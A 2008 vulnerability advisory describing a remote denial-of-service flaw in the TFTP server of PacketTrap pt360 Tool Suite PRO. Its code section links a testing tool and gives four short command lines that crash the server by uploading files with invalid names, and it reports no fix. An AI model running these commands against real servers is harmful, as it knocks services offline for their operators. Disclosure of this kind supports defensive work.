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Related information

  PacketTrap PT360 TFTP directory traversal and DoS

  DDIVRT-2008-09 PacketTrap PT360 Tool Suite TFTP Denial of Service Vulnerability

  DDIVRT-2008-10 PacketTrap TFTP Directory Traversal Vulnerability

From:Luigi Auriemma <aluigi_(at)_autistici.org>
Date:11.03.2008
Subject:Denial of Service in PacketTrap TFTP server 2.0.3901.0


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                            Luigi Auriemma

Application:  pt360 Tool Suite PRO
             http://www.packettrap.com/product/index.aspx
Versions:     <= 2.0.3901.0
Platforms:    Windows
Bug:          Denial of Service of the TFTP server
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
             e-mail: aluigi@autistici.org
             web:    aluigi.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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===============
1) Introduction
===============


pt360 is a suite of network tools.


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======
2) Bug
======


The TFTP server implemented in the pt360 suite can be easily
interrupted through the uploading of files with invalid names, in this
case is raised an exception which blocks the TFTP component and forces
the user to restart the whole application for re-running it.


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===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

 tftpx -u SERVER "\|" none
 tftpx -u SERVER "\"" none
 tftpx -u SERVER "<>" none
 tftpx -u -f SERVER 200 none


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======
4) Fix
======


No fix


#######################################################################


---
Luigi Auriemma
http://aluigi.org

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